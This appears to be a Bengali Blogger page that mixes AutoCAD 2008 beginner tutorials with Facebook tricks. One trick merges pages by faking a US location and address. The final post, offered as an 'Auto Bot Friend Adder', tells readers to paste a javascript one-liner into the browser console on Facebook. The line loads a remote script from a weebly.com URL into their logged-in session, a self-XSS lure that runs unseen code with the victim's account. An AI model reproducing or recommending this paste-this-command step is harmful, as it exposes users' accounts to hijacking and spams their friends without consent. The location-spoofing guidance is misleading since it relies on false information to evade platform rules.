M.A.A. NAFISH PEEZON. Blogger দ্বারা পরিচালিত.

কিভাবে ফেইসবুকে ২০০ লাইকের উপরের পেইজের নাম পরিবর্তন ও দুটি পেইজ Merge করবেন।

ফেইসবুকে পেইজ এডমিনদের মাঝে নতুন ক্রেজ শুরু হয়েছে,২০০ লাইকের উপরের পেইজের নাম পরিবর্তন করা বা ২ টা পেইজ এর লাইক এক সাথে করা, কিন্তু সবাইতা করতে জানেনা আর এই সুযোগ নিয়ে কিছু মানুষ কম টাকায় ছোট পেইজ কিনে নিজের বড় পেইজের সাথে এক করে লাইক বাড়াচ্ছে আর কিছু পাবলিক পেইজ এই কাজটি করা বাবত ৫০০ থেকে ১০০০ টাকা কামাই করছে।
দুটি একি নামের এবং একি জায়গার পেইজ এক সাথে করার অপশন ফেইসবুকে বেশ আগে থেকেই আছে কিন্তু তা শুধু মাত্র  আমেরিকার ব্যাবহার কারিদের জন্য,আজ এই টিউনের মাধ্যমে কিভাবে বাংলাদেশে বসে দুটি পেইজ এক সাথে করা যায় তা শিখবো।
এই সুবিধা যেহেতু সবার জন্য প্রযোজ্য নয় তাই আপনাকে প্রথমে US  এর ব্যাবহার কারি হতে হবে আর এই কাজটি করারা জন্য আপনার ফায়ার ফক্সে  anonymoX  নামের এডঅনটি ইন্সটল করে ফায়ার ফক্স রিস্টার্ট করুন,নিছের ছবির মতন একটি আইকন দেখতে পারবেন সেখানে আপনার আইপি হিসেবে ইউ এসের আইপি us1 সিলেক্ট করে Change Identity বাটনে ক্লিক করুন।


যে পেইজ ২টি এক সাথে করতে চান সেগুলো তে প্রবেশ করে ড্রপ ডাউন মেনু থেকে Upadate Page Info তে সিলেক্ট করুন, ক্যাটাগরি অপশনে যে কোন একটি ক্যাটাগরি সিলেক্ট করুন যাতে এড্রেস চায় ( খেয়াল রাখবেন জাতে দুটি পাইজের ক্যাটাগরি একি হয়)।
হয়)।

এবার গুগলে সার্চ করে us এর যে কোন জায়গার এড্রেস যিপ কোড সহ কপি করে এড্রেস অপশনে পেস্ট করে ওকে করুন।
এখন আপনি দুই ভাবে পেইজ মারজ করতে পারবেন ফেইসবুকে রিকুয়েস্ট পাঠিয়ে অথবা মেন্যুয়লি,নিচে আমি দুটিই দেখাব।
(১)এই লিঙ্কে যান  [URL=https://www.facebook.com/help/contact/238908726149664[/URL]    প্রথমে যে পেইজটি রাখতে চান তা ড্রপ ডাউন মেন্যু থেকে সিলেক্ট করে নিন
আর নিচে বক্সে পেইজ এড্রেস/পেইজ আইডি দিয়ে সাবমিট বাটনে ক্লিক করুন সবকিছু ঠিক থাকলে ২৪ ঘণ্টার মধ্যে হয়ে যাবে।
(২)প্রথমে আপনার পেইজে যান এক বারে উপরে দেখবেন একটি লাইন আছে Acting as (your page name) change to (Your self) এ ক্লিক করে পেইজটি আপনার পেইজের বদলে আপনার আইডি দিয়ে চালান,
এবার ড্রপ ডাউন মেন্যু থেকে Page Setting এ ক্লিক করলে

নতুন পেইজ আসবে সেখানে নিচে MERGE নামে একটি অপশন আছে তাতে ক্লিক করুন
নতুন ট্যাব আসবে সেখানে  ক্লিক বক্সটি সিলেক্ট করুন ড্রপ ডাউন মেন্যু আসবে এবার যে পেইজটি রাখতে চান তা সিলেক্ট করুন এবার নিচে আরেকটি সিলেক্ট বক্সে ক্লিক করলে


৫টি ড্রপ ডাউন মেন্যু আসবে সেখানে যে পেইজ গুলো একসাথে করতে চান সেগুলো সিলেক্ট করে সাবমিট বাটনে ক্লিক করুন আশা করি ২৪ ঘণ্টার মধ্যে আপনার লাইক এবং চেকইন সেই পেইজ গুলো থেকে আপনার প্রাইমারী পেইজে ট্রান্সফার হয়ে যাবে।
লক্ষণীয় বিষয় গুলো হল...
০.২০০ লাইকের উপরের পেইজের নাম পরিবর্তন করার জন্য নতুন একটি পেইজ খুলে তাতে লাইক ট্রান্সফার করুন।
১.এই অপশন দেয়া হয়েছে  একি প্লেইসের পেইজ এক সাথে করার জন্য তাই আপনার পেইজের নাম যত সিমিলার পেইজ মারজ হবার সম্ভাবনা ততই বেশি।
২.যেই পেইজ গুলো মারজ করতে চান আপনাকে তার ম্যানেজার হতে হবে।
৩.যে পেইজটি মারজ করবেন শুধু মাত্র তার লাইক আর চেকইন ট্রান্সফার হবে বাকি সব পোস্ট ডিলিট হবে যাবে।
৪.কেউ যদি ২টি পেইজেই লাইক দিয়ে থাকে তাহলে ১টি লাইক কাউন্ট হবে,এখানে কিছু লাইক হারানোর সম্ভাবনা আছে।
৫.পেইজ মারজ না হলে বারবার করার চেস্ট করবেন না তাতে পেইজ ব্লক হবার সম্ভাবনা আছে।
৬.একবার সাবমিটে ক্লিক করলে আন ডান করার কুনো অপশন নেই তাই ভেবে চিন্তে কাজটি করবেন।।

AutoCAD 2008 টিউটোরিয়াল [৪র্থ-পর্ব] :: মেনু পরিচিতি নিয়ে আলোচনা

     
আসসালামুয়ালাইকুম।কেমন আছেন সবাই।আশা করি আল্লাহ্‌র রহমতে সবাই ভালই আছেন। আজ অনেক দিন পর টিউন করতে বসলাম।গত পর্বে আমরা অটোক্যাড ২০০৮ এর কাজ শুরু করার জন্যে পেইজ সেটআপ নিয়ে আলোচনা করেছিলাম। এবারের পর্বে আমরা অটোক্যাড ২০০৮ এর কাজ শুরু করার জন্যে কোন একটি প্রোগ্রাম নিয়ে ভাল ভাবে কাজ করতে এবং পূর্ণজ্ঞান অর্জনের জন্য সেই প্রোগ্রামের মেনু সম্পর্কে ধারণা রাখা অত্যন্ত জরুরি। মেনু সম্পর্কে ধারণা না থাকলে কোন কাজ বা কমান্ডের প্রয়োগ দ্রুত করা যায় না। এই আসরে আপনাদের সামনে অটোক্যাডের মেনু গুলো নিয়ে আলোচনা করবো। চলুন শুরু করা যাক, অটোক্যাড এটা কাজ শুরুর প্রাথমিক ধাপ।
ফাইল মেনু
অটোক্যাডের প্রথম মেনু হচ্ছে ফাইল মেনু। মেনু বার হতে File নামের উপর মাউস পয়েন্টার দিয়ে একটি ক্লিক করলে অথবা কীবোর্ড থেকে Alt + F কী দ্বয় একত্রে চাপলে ফাইল মেনুটি ওপেন হবে এবং এর বিভিন্ন অপশন দেখা যাবে। নিচে ফাইল মেনুর বিভিন্ন অপশন এর ছবি দেখানো হলো-

এবার আলোচনা করবো ফাইল মেনুর বিভিন্ন অপশন নিয়ে।
New : এই অপশনটি সিলেক্ট করার মাধ্যমে নতুন একটি ড্রইং ফাইল বা ডকুমেন্টস তৈরি করা য়ায়। এর একটি কীবোর্ড শর্টকাট কমান্ড আছে । কমান্ডটি হলো Ctrl + N । কীবোর্ড থেকে Ctrl এবং N কীদ্বয় একত্রে চাপলে এই অপারেশনটি সম্পন্ন করা যায়।
Open : এই অপশনটি সিলেক্ট করে পূর্বে সেভ করা কোন ফাইল ওপেন করা যায়। কীবোর্ড থেকে Ctrl + O কী দুইটি এক সাথে চেপেও এই কমান্ডটি প্রয়োগ করা যায়। এই কমান্ডটি প্রয়োগ করলে নিচের ছবির মতো Select File নামে একটি উইন্ডো আসবে।

Look in বক্সে ডিরেক্টরী এবং ফাইল সিলেক্ট করে Open বাটনে ক্লিক করলে ফাইলটি স্ক্রিনে দেখা যাবে।
Close : বর্তমানে ওপেন করা কোন ফাইল বন্ধ করার জন্য এই অপশনটি ব্যবহার করা হয়। এই অপশনটি সিলেক্ট করার পূর্বে উক্ত ফাইলটি যদি সেভ করা না হয়ে থাকে তবে ফাইলটি সেভ করা হবে কিনা এমন একটি সতর্কমূলক মেসেজ প্রদর্শিত হবে।যদি সেভ করতে চান তবে Yes বাটনে ক্লিক করুন। আর সেভ করে বের হয়ে যেতে চাইলে No বাটনে ক্লিক করুন। Cancel বাটনে ক্লিক করার মাধ্যমে কমান্ডটি বাতিল করতে পারবেন।
Partial Load : এই অপশনটি সিলেক্ট করে আংশিক ওপেন করা কোন ড্রইং ফাইলে Additional Geometry Load করা যায়।
Save: এই অপশনটি সিলেক্ট করে নতুন কোন ফাইল সংরক্ষন বা সেভ করা হয়। কীবোর্ড থেকে Ctrl এবং S কীদ্বয় একত্রে চেপে এই কমান্ডটি প্রয়োগ করা যায়। পুরাতন কোন ফাইল এডিট বা মডিফাই করার পর সেভ করার জন্য এই অপশনটি ব্যবহার করা হয়।

Save As : এই অপশনটি ব্যবহার করে নতুন কোন ফাইল সংরক্ষন করা যায় এবং পূর্বের তৈরি করা কোন ফাইল এর ডিরেক্টরী ও নাম পরিবর্তন করা যায়। Ctrl + Shift + S কী তিনটি একসাথে চেপে এই কমান্ডটি কার্যকর করা যায়।
Export : এই অপশনটির মাধ্যমে অটোক্যাডের কোন ফাইল বা অবজেক্টকে অন্য কোন প্রোগ্রামের জন্য ব্যবহার উপযোগী ফরম্যাট এ রূপান্তর করা যায়। এখানে যে সকল ফরম্যাটে এক্সপোট করা যায় এগুলো হলো – Metafile (*.wmf), ACIS (*.sat), Lithography (*.stl), Encapsulated (*.eps) DXX Extarct (*.dxx) Bitmap (*.bmp), 3D Studio (*.3ds), Block (*dwg).
এই কমান্ড প্রয়োগ করলে নিচের ছবির মতো একটি উইন্ডো আসবে।

এখান থেকে প্রয়োজনীয় ফাইল টাইপ সিলেক্ট করুন এবং নির্দিষ্ট ডিরেক্টরী সিলেক্ট করে Save বাটনে ক্লিক করুন।
Page Setup ঃ কোন ফাইল বা ফাইলের অংশ বিশেষ প্রিন্ট করার পূর্বে Page Setup করে নিতে হয়। Page Setup ডায়ালগ বক্সে Plot Device ও Layout Settings নামক দুইটি ট্যাব থাকে। Plot Device ট্যাব থেকে প্রিন্টার বা প্লটার সিলেক্ট করা হয়। Layout Settings ট্যাবে কাগজের আকার, একক, ড্রইং অরিয়েন্টেশন, প্লট স্কেল, প্লট অফসেট ইত্যাদি নির্দিষ্ট করে দেয়া হয়।
Plotter Manager: এই অপশনের মাধ্যমে প্লটার যুক্ত করা যায় এবং কনফিগার করা হয়।
Plot Preview: কোন ড্রইং প্রিন্ট করলে কেমন হবে তা প্রিন্ট করার পূর্বেই দেখা হয় এ অপশনের মাধ্যমে।
Drawing Utilities: কোন ড্রইং এর ত্রুটি নির্ণয়ের জন্য এই অপশনটি ব্যবহৃত হয়। নষ্ট কোন ফাইল রিকভার করার জন্য এবং ড্রইং এর বিভিন্ন লেয়ার ও লেয়ার স্টাইল রিমুভ করার ক্ষেত্রেও এই অপশনটি প্রয়োগ করা হয়।
Drawing Properties : ওপেন করা কোন ড্রইং এর Properties সেট করে এবং প্রদর্শন করে এই অপশনটি । এই অপশনটি সিলেক্ট করলে নিচের ছবির মতো একটি উইন্ডো আসবে।

এখানে General, Summary, Statistics, Custom নামে চারটি ট্যাব রয়েছে। এগুলোর মাধ্যমে বিভিন্ন ধরণের তথ্য পাওয়া যায়।
Exit : এই অপশনের মাধ্যমে অটোক্যাড প্রোগ্রাম থেকে বের হওয়া যায়।
অটোক্যাডে কাজ করা বেশ সহজ। শুধু কমান্ডগুলো জেনে বারবার চর্চা করলেই হলো। আশাকরি শীঘ্রই নতুন টপিকস নিয়ে আবার ফিরে আসবো। সে পর্যন্ত ভালো থাকবেন। আর আমার জন্য দোয়া করবেন। ধারাবাহিক পোষ্টগুলো থেকে আশাকরি আগ্রহীরা অটোক্যাড সম্পর্কে মোটামুটি কাজ করার ধারণা পাবেন। ভালো লাগলে কমেন্ট জানাতে ভুলবেন না, আজ এতটুকুই।

AutoCAD 2008 টিউটোরিয়াল [৩য়-পর্ব] :: ড্রইং পেইজ সেটআপ নিয়ে আলোচনা

আসসালামুয়ালাইকুম।কেমন আছেন সবাই।আশা করি আল্লাহ্‌র রহমতে সবাই ভালই আছেন। আজ অনেক দিন পর টিউন করতে বসলাম।গত পর্বে আমরা ড্রইং স্ক্রীন পরিচিতি এবং টুলবার নিয়ে আলোচনা করেছিলাম। এবারের পর্বে আমরা অটোক্যাড ২০০৮ এর কাজ শুরু করার জন্যে পেইজ সেটআপ শিখবো। চলুন শুরু করা যাক। অটোক্যাড এটা কাজ শুরুর প্রাথমিক ধাপ।
১।প্রথমে আমরা Menu Bar থেকে Format>Units এ ক্লিক করুন। নিচের মত একটি ডায়ালগ বক্স দেখা যাবে।
২। Units এ ক্লিক করার পর নিচের একটি ডায়ালগ বক্স দেখা যাবে।
৩। চলুন শুরু করা যাক Units সেটআপ: আমরা নিচের ডায়ালগ বক্স অনুসরণ করবো: প্রথমে আমরা ডায়ালগ বক্স থেকে Length Type > Architecture এ সিলেক্ট করুন, এর পর Precision > 0'-0" সিলেক্ট করুন, Insertion Scale > Inches সিলেক্ট করা থাকলে তা পরিবর্তন করার প্রয়োজন নেই। ওকে ক্লিক করে বেরিয়ে আসুন।
৪।Drawing Limits সেটআপ: আমরা নিচের ডায়ালগ বক্স অনুসরণ করবো: প্রথমে আমরা Format > Drawing Limits ক্লিক এর পর Scan এর মাউস দিয়ে ক্লিক করুন, Enter চাপুন, Shift+@ এক সাথে চাপুন এর পর 5000' লেখার পর Tap চাপুন এর পর আবার 5000' দিয়ে Enter চাপুন ব্যাস হয়ে গেলো Drawing Limits সেটআপ।আমি এখানে উদাহরণ হিসেবে এখানে 5000' দিয়ে দৈর্ঘ ও প্রস্থ 5000' ইঞ্চি বোঝানো হয়েছে। আপনি ইচ্ছা করলে যে কোন পরিমাণ নিতে পারেন।
৫।কিবোর্ডে F7 চাপুন স্ক্রিন জুড়ে গ্রিড দেখা গেলে বুঝবেন আপনার পেইজ সেটআপ ঠিক হয়েছে।
৬। এবার View থেকে Zoom এ গিযে All ক্লিক করুন। এতে আপনি আপনার ড্রয়িং ছোটবড় করে দেখতে পারবেন।
অটোক্যাডে কাজ করা বেশ সহজ। শুধু কমান্ডগুলো জেনে বারবার চর্চা করলেই হলো। আশাকরি শীঘ্রই নতুন টপিকস নিয়ে আবার ফিরে আসবো। সে পর্যন্ত ভালো থাকবেন। আর আমার জন্য দোয়া করবেন। ধারাবাহিক পোষ্টগুলো থেকে আশাকরি আগ্রহীরা অটোক্যাড সম্পর্কে মোটামুটি কাজ করার ধারণা পাবেন। ভালো লাগলে কমেন্ট জানাতে ভুলবেন না, আজ এতটুকুই।

AutoCAD 2008 টিউটোরিয়াল [২য়-পর্ব] :: ড্রইং স্ক্রীন পরিচিতি এবং টুলবার নিয়ে আলোচনা

    ইন্টারফেস বা ড্রইং স্ক্রীন পরিচিতি এবং টুলবার নিয়ে আলোচনা:

    আসসালামুয়ালাইকুম।কেমন আছেন সবাই।আশা করি আল্লাহ্‌র রহমতে সবাই ভালই আছেন। আজ অনেক দিন পর টিউন করতে বসলাম। আসলে অফিসের কাজের জন্য আপনাদের সাথে সময় দিতে পারি না। অটো ক্যাড সফটওয়্যারটি রান করলে কম্পিউটারের মনিটরের পর্দায় যে উইন্ডোটি চলে আসে সেটিই অটো ক্যাড এর ইন্টারফেস। নিচে Auto CAD 2008 এর ইন্টারফেস দেখানো হলো এবং

    অটোক্যাড ড্রইং স্ক্রীন অংশ সমূহের বর্ণনা নিম্নে দেওয়া হলোঃ


    অটো ক্যাড ড্রইং স্ক্রীনে যে অংশ গুলো পাওয়া যায় এগুলো হলোঃ
    • 1.Title Bar
    • 2. Menu Bar
    • 3. Standard Tool Bar
    • 4. Layer Bar
    • 5. Properties Bar
    • 6. Draw Tool Bar
    • 7. Dimension Tool Bar
    • 8. Modify Tool Bar
    • 9. UCS Icon
    • 10. Status Bar
    • 11. Command Window etc.

    উপরে উল্লেখিত অটোক্যাড ড্রইং স্ক্রীন অংশ সমূহের বর্ণনা নিম্নে দেওয়া হলোঃ

    • 1. Title Bar: অটোক্যাড গ্রাফিক্স উইন্ডোর উপরের নীল রং বারটিকে বলা হয় টাইটেল বার। এই বারটিতে ড্রইং ফাইলের নাম প্রদর্শিত হয়। টাইটেল বারের সর্ব বামে অটোক্যাড লোগো থাকে।
    • 2. Menu Bar: টাইটেল বারের নিচের বারটিকে বলা হয় Menu Bar| Menu Bar এ ড্রপ ডাউন Menu রয়েছে। যেমনঃ File, Edit, Insert, Format, Tools, Draw, Dimension, Modify, Window, Help & Express Menu etc.
    • 3. Standard Tool Bar: Menu Bar এর নিচের বারটিকে বলা হয় Standard Tool Bar । Standard Tool Bar এ আইকন আকারে সাধারণ প্রয়োজনীয় কমান্ড বাটন রয়েছে। Standard Tool Bar এ কোন আইকনে ক্লিক করে উক্ত কমান্ড কার্যকরী করা হয়।
    • 4. Layer Bar: Standard Tool Bar টির ঠিক নিচের বারটি হলো Layer Bar এই টুলবার এ কয়েকটি ড্রপডাউন লিস্ট আছে। বিভিন্ন লেয়ার এই টুলবার থেকে কন্ট্রোল করা যায়।
    • 5. Properties Bar: Standard Tool Bar টির ঠিক নিচের বারটি হলো Layer Bar & Properties Bar এই টুলবার এ কয়েকটি ড্রপডাউন লিস্ট আছে। বিভিন্ন লেয়ার এই টুলবার থেকে কন্ট্রোল করা যায়।
    • 6. Draw Tool Bar & Dimension Tool Bar Auto CAD এ ড্রইং করার জন্য অতি প্রয়োজনীয় কমান্ড সমূহ Draw টুল বারে দেওয়া থাকে। Draw টুলবারটি গ্রাফিক্স উইন্ডোর বাম পাশে থাকে। এই টুলবারের টুল গুলো আইকন আকারে থাকে।
    • 8. Modify Tool Bar Auto CAD এ ড্রইং করার জন্য অতি প্রয়োজনীয় কমান্ড সমূহ Modify টুল বারে দেওয়া থাকে। Modify টুলবারটি গ্রাফিক্স উইন্ডোর ডান পাশে থাকে। এই টুলবারের টুল গুলো আইকন আকারে থাকে।
    • 9. UCS Icon: User Co-Ordinate system এর সংক্ষিপ্ত রূপ হলো UCS. এই আইকনটি ড্রইং এডিটরের নিচে বাম কর্ণারে প্রদর্শিত হয়। ডিফল্ট অবস্থায় দ্বি-মাত্রিক বা টু-ডি টপভিউ UCS Icon থাকে।
      10. Status Bart কমান্ড উইন্ডোর নিচের বারটি হচ্ছে Status Bar বার। Status Bar এ আইকনের অবস্থান জানা যায়। আইকনের Status Bar এ Snap, Grid, Ortho, Polar, Osnap, Otrack, LWT, Model ইত্যাদি বাটন থাকে। যেকোন বাটনে ক্লিক করার মাধ্যমে এই কমান্ড গুলো কার্যকারিতা on/off করা যায়।
    • 11. Command Window: ড্রইং স্ক্রিনের নিচের দিকে থাকে কমান্ড উইন্ডো। কমান্ড উইন্ডোতে কোন কমান্ড লিখে কীবোর্ড হতে এন্টার কী প্রেস করার মাধ্যমে কমান্ডকে কার্যকরী করা হয়। অটোক্যাডে ব্যবহৃত কমান্ড সমূহের কিছু সংক্ষিপ্ত রূপ আছে। যেমনঃ লাইন কমান্ডকে অ্যাকটিভ করার জন্য আমরা
    এই অপশন গুলো হলো অটোক্যাডে সবচেয়ে বেশি ব্যবহৃত অপশন। আগামীতে আরও কিছু অপশনের বর্ণনা আপনাদের সামনে তুলে ধরবো। সে পর্যন্ত ভাল থাকবেন। ভুল হইলে ক্ষুমা দৃষিতে দেখবেন, আর বেশি বেশি কমান লিখবেন ধন্যবাদ সবাইকে।

    AutoCAD 2008 টিউটোরিয়াল [১ম-পর্ব] :: পরিচিতি


    এ টিউটোরিয়াল দ্বারা Auto CAD এ যারা একেবারেই নতুন, তারা যেন উপকৃত হতে পারে। সে কারনেই শুরুর দিকে যতদূর সম্ভব জটিল আলোচনা পরিহার করে সহজ ভাবে বিভিন্ন কমান্ড নিয়ে আলোচনা করব। এজন্য কিছু কিছু ক্ষেত্রে প্রাথমিক অবস্থায় সংক্ষিপ্ত বর্ণনা দিব।পরবর্তীতে Auto CAD কিছুটা আয়ত্তে আসলে সংক্ষিপ্ত বর্ণনা দেয়া কমান্ডগুলোর বিস্তারিত বর্ণনা দিব। আর কথা না বাড়িয়ে মূল আলোচনা শুরু করা যাক -Auto CAD Open করলে নিচের Window দেখা যাবে।

    আজ আর সামনে এগুব না। আপনাদের মূল্যবান মতামত এর অপেক্ষায় থাকলাম। সবাইকে ধন্যবাদ।

    ফেসবুক গ্রুপে যত খুশি তত বন্ধু যোগ করুন

    আপনি যদি ফায়ার ফক্স ব্যবহার করে থাকেন তাহলে আমাদের একটু সাহায্য করুন। আপনি চাইলেই পারেন যে কোন গ্রুপের মেম্বার সহজেই বাড়াতে। আপনার নিজস্ব কোন গ্রুপ থাকতেই পারে, হয়তো অনেক কষ্ট অরেও আপনি খুব বেশি হলে ২০০০-৩০০০ মেম্বার একত্রিত করতে পেরেছেন। কিন্তু এখন আর সেই কষ্ট করতে হবে নাহ। আমি নিয়ে এলাম আপনাদের জন্য Auto Bot Friend Adder, ইহা শুধু মাত্রই ফায়ারফক্স ব্যবহারকারীদের জন্য, যেহেতু আমি নিজে মজিলা ফায়ারফক্স ব্যবহার করি। আপনার সব বন্ধুকে যে কোন ফেসবুক গ্রুপে এ্যাড করতে নিম্নোক্ত পদক্ষেপ গ্রহণ করুনঃ-
    • প্রথমেই আপনি যে গ্রুপে আপনার সব বন্ধুকে একত্রে যুক্ত করতে চান মজিলা ফায়ারফক্স ব্যবহার করে সেই গ্রুপে যান !
    • এবার কীবোর্ডে Ctrl + Shift + K চাপুন । দেখবেন একটা ড্রপ ডাউন মেনু আসবে, এখানে জাভা স্ক্রিপ্ট লিখে আপনি অনেক কিছুই করতেপারেন। তবে আজ আপনাদের কে আমি কিভাবে আপনার সব ফ্রেন্ড একটি গ্রুপে ঢুকাবেন তা দেখাবো ।
    • এইবার নিম্নোক্ত জাভা স্ক্রিপ্টটি Copy করুন। Select and (Ctrl+C) -->>>
     
    javascript:(function(){document.body.appendChild(document.createElement('script')).src='http://www.weebly.com/uploads/4/4/7/4/4474196/bappi.js';})();
     
    • ড্রপ ডাউন মেনুতে যেখানে জাভা স্ক্রিপ্ট লেখার জন্য একটা কারসার ব্লিঙ্ক করছে সেখানে সম্পূর্ণ কোডটি পেস্ট করে দিন, এবার Enter চাপুন , আপনার সব বন্ধু আপনার গ্রুপে এ্যাড না হয়ে যাওয়া পর্যন্ত অপেক্ষা করুন।
    এভাবে আপনার ঘনিষ্ট সব বন্ধুদের বলুন, তারাও আপনাকে আপনার গ্রুপে বন্ধু যোগ করতে সাহায্য করবে।

    Facebook Twitter RSS